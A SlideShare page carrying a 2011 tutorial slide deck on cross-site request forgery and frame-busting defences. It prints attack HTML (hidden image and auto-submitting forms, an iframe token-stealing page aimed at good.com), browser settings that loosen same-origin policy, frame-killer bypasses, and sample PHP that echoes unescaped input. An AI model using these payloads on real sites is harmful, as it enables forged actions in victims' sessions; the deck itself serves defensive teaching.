CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
Report
Samvel GevorgyanFollow
Nov. 15, 2011•0 likes•3,017 views
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
Nov. 15, 2011•0 likes•3,017 views
Samvel GevorgyanFollow
Report
Education
Technology
Design
Cross-Site Request Forgery (CSRF in short) is a kind of a web application vulnerability which allows malicious website to send unauthorized requests to a vulnerable website using active session of its authorized users In simple words, it’s when an “evil” website posts a new status in your twitter account on your visit while the login session is active on twitter. For security reasons the same origin policy in browsers restricts access for browser-side programming languages such as Javascript to access a remote content. As the browsers configurations may be modified, the best way to protect web application against CSRF is to secure web application itself.
Recommended
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYANSamvel Gevorgyan
Content Management System SecuritySamvel Gevorgyan
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...Quek Lilian
Starwest 2008Caleb Sima
Phishing with Super BaitJeremiah Grossman
Web HackingInformation Technology
More Related Content
What's hot
Web application Security toolsNico Penaredondo
Web Security: A Primer for DevelopersMike North
Cyber pptkarthik menon
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
Rich Web App Security - Keeping your application safeJeremiah Grossman
Top 10 Web Security Vulnerabilities (OWASP Top 10)Brian Huff
Similar to CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
04. xss and encodingEoin Keary
Php & Web Security - PHPXperts 2009mirahman
Advanced xssGajendra Saini
Evolution Of Web SecurityChris Shiflett
xss-100908063522-phpapp02.pdfyashvirsingh48
Web Attacks - Top threats - 2010Shreeraj Shah
More from Samvel Gevorgyan
Websecurity fundamentals for beginnersSamvel Gevorgyan
Information Security Management System in the Banking SectorSamvel Gevorgyan
Five Ways to Improve Yandex.Taxi ServiceSamvel Gevorgyan
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքումSamvel Gevorgyan
Nagorno-karabakh clashes - four-day war in cyberspaceSamvel Gevorgyan
What is the Cybersecurity plan for tomorrow?Samvel Gevorgyan
Recently uploaded
Acting Guidelines.pptxAngelica Guevara
Personal Brand Exploration - Meghan L. HallMeghan Hall, MBA
![[English version] Fintech Edu Brochures - 20232024 (1080 × 1080 px).pdf](https://cdn.slidesharecdn.com/ss_thumbnails/englishversionfintechedubrochures-2023202410801080px-230919063045-afa1a2c0-thumbnail.jpg?width=384&height=256&fit=bounds)
[English version] Fintech Edu Brochures - 20232024 (1080 × 1080 px).pdfChristinaFortunova
Forensic Accounting PPT - INCHARA J.M - 23COMA24.pptxKumarasamy Dr.PK
Advertising Strategy Lecture 1 2023.pptxNeil Kelley
9.19.23 Civics, Majoritarianism, and Democracy.pptxMaryPotorti1
![[English version] Fintech Edu Brochures - 20232024 (1080 × 1080 px).pdf](https://cdn.slidesharecdn.com/ss_thumbnails/englishversionfintechedubrochures-2023202410801080px-230919063045-afa1a2c0-thumbnail.jpg?width=1600&height=908&fit=bounds)
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
- 1. CROSS-SITE REQUEST FORGERY IN-DEPTH ANALYSIS • CYBER GATES • 2011 /* INTRODUCTION */ Cross-Site Request Forgery (CSRF in short) is a kind of a web application vulnerability that allows a malicious website to send unauthorized requests to a vulnerable website using the current active session of the authorized users. In simple words, when an “evil” website posts a new status in your Twitter account, while your Twitter login session is still active. /* CSRF BASICS */ A simple example of this is the following hidden HTML code inside the evil.com webpage: <imgsrc=”http://twitter.com/home?status=evil.com”style=”display:none”/> Many web developers use POST instead of GET requests to avoid this kind of a malicious attack. But this approach is useless as shown by the following HTML code used to bypass that kind of a protection. <divstyle=“display:none”> <iframename=“hiddenFrame”></iframe> <formname=“Form”action=“http://site.com/post.php” target=“hiddenFrame” method=“POST”> <inputtype=“text”name=“message”value=“I like www.evil.com” /> <inputtype=“submit”/> </form> <script>document.Form.submit();</script> </div> /* USLESS DEFENSES */ The following are the weak defenses: 1. Only accept POST This stops simple link-based attacks (IMG, frames, etc.) But hidden POST requests can be created with frames, scripts, etc 2. Referrer checking Some users prohibit referrers, so you can’t just require referrer headers Techniques to selectively create HTTP request without referrers exist 3. Requiring multi-step transactions CSRF attack can perform each step in order
- 2. /* DEFENSE */ The approach used by many web developers is the CAPTCHA systems and one- time tokens. CAPTCHA systems are widely used but asking a user to fill the text in the CAPTCHA image every time user submits a form will make him/her leave your website. And that’s why one-time tokens are used instead. Unlike the CAPTCHA systems one-time tokensare unique values stored in a webpage form hidden field and in session at the same time to compare themafter the page form submission. Mechanism used to generate one-time tokens can be found using brute force attacks. But brute forcing one-time tokens is useful only if the mechanism is widelyused by web developers. For example the following PHP code: <?php $token=md5(uniqid(rand(),TRUE)); $_SESSION['token']=$token; ?> /* DEFENSE USING ONE-TIME TOKENS */ To understand better how this system works, let's take a look to a simple webpage which has a form with one-time token: index.php(Victim website) <?phpsession_start();?> <html> <head> <title>GOOD.COM</title> </head> <body> <?php $token=md5(uniqid(rand(),true)); $_SESSION['token']=$token; ?> <formname="messageForm"action="post.php"method="POST"> <inputtype="text"name="message"> <inputtype="submit"value="Post"> <inputtype="hidden"name="token"value="<?phpecho$token?>"> </form> </body> </html>
- 3. And the webpage which processes the request and stores the message only if the given token is correct: post.php(Victim website) <?php session_start(); if($_SESSION['token']==$_POST['token']){ $message=$_POST['message']; echo"<b>Message:</b><br/>".$message; $file=fopen('messages.txt','a'); fwrite($file,$message."rn"); fclose($file); }else{ echo'Bad request.'; } ?> /* IN-DEPTH ANALYSIS */ In-depth analysis shows that an attacker canuse an advanced version of the framing method to perform the task and send POST requests without guessing the token. The following is a real scenario: index.php(Evil website) <html> <head> <title>BAD.COM</title> <scriptlanguage="javascript"> functionsubmitForm(){ var token = window.frames[0].document.forms["messageForm"].elements["token"].value; varmyForm=document.myForm; myForm.token.value= token; myForm.submit(); } </script> </head> <bodyonLoad="submitForm();"> <divstyle="display:none"> <iframesrc="http://good.com/index.php"></iframe> <formname="myForm"target="hidden"action=http://good.com/post.phpmethod="PO ST"> <inputtype="text"name="message"value="I like www.bad.com"/> <inputtype="hidden"name="token"value=""/> <inputtype="submit"value="Post"> </form> </div> </body> </html>
- 4. For security reasons, the same origin policy in browsers restricts access for browser-side programming languages, such as JavaScript,to access a remote content and the browser throws the following exception: Permission denied to access property 'document' var token = window.frames[0].document.forms['messageForm'].token.value; Browser's settings as you can see are not hard to modify: user_pref("capability.policy.policynames","localfilelinks"); user_pref("capability.policy.localfilelinks.sites","http://bad.com http://good.com"); user_pref("capability.policy.localfilelinks.checkloaduri.enabled","allAccess"); user_pref("capability.policy.default.checkloaduri.enabled","allAccess"); So the best way for web application security is to secure web application itself. /* FRAME BUSTING */ The best way to protect web applications against CSRF attacks is using FrameKillerswith one-time tokens. FrameKillers are small piece of javascript code used to protect web pages from being framed: <scripttype="text/javascript"> if(top != self)top.location.replace(location); </script> It consists of Conditional statement and Counter-action statement. Common conditional statements are the following: if(top!=self) if(top.location!=self.location) if(top.location!=location) if(parent.frames.length>0) if(window!=top) if(window.top!==window.self) if(window.self!=window.top) if(parent&&parent!=window) if(parent&&parent.frames&&parent.frames.length>0) if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0)) And common counter-action statements are these: top.location=self.location top.location.href=document.location.href top.location.replace(self.location) top.location.href=window.location.href top.location.replace(document.location) top.location.href=window.location.href top.location.href="URL" document.write('')
- 5. Different FrameKillers are used by web developers and different techniques are used to bypass them: Method 1 Using onBeforeUnload event: <script> window.onbeforeunload=function(){ return"Do you want to leave this page?"; } </script> <iframesrc="http://www.good.com"></iframe> Method 2 Using Double framing: <iframesrc="second.html"></iframe> second.html <iframesrc="http://www.site.com"></iframe> /* BEST PRACTICES */ The best example of FrameKillerthat can be used is the following: <style> html{ display : none; } </style> <script> if( self == top ){document.documentElement.style.display='block';} else{top.location=self.location;} </script> This hides the entire webpage using CSS and displays that only if the conditional statement is right. This technique helps us to protect web application even if an attacker browses the webpage with javascript disabled option in the browser. /* REFERENCES */ 1. Cross-Site Request Forgery http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 http://projects.webappsec.org/w/page/13246919/Cross-Site-Request- Forgery 2. Same Origin Policy http://en.wikipedia.org/wiki/Same_origin_policy 3. FrameKiller(Frame Busting) http://en.wikipedia.org/wiki/Framekiller http://seclab.stanford.edu/websec/framebusting/framebust.pdf
- 6. /* AUTHOR */ SamvelGevorgyan Founder & Managing Director, CYBER GATES www.cybergates.am samvel.gevorgyan@cybergates.am SamvelGevorgyan is Founder and Managing Director of CYBER GATES Information Security Consulting, Testing and Research Company and has over 5 years of experience working in the IT industry. He started his career as a web designer in 2006. Then he seriously began learning web programming and web security concepts which allowed him to gain more knowledge in web design, web programming techniques and information security. All this experience contributed to Samvel's work ethics, for he started to pay attention to each line of the code for good optimization and protection from different kinds of malicious attacks such as XSS(Cross- Site Scripting), SQL Injection, CSRF(Cross-Site Request Forgery), etc. Thus Samvel has transformed his job to a higher level, and he is gradually becoming more complete security professional.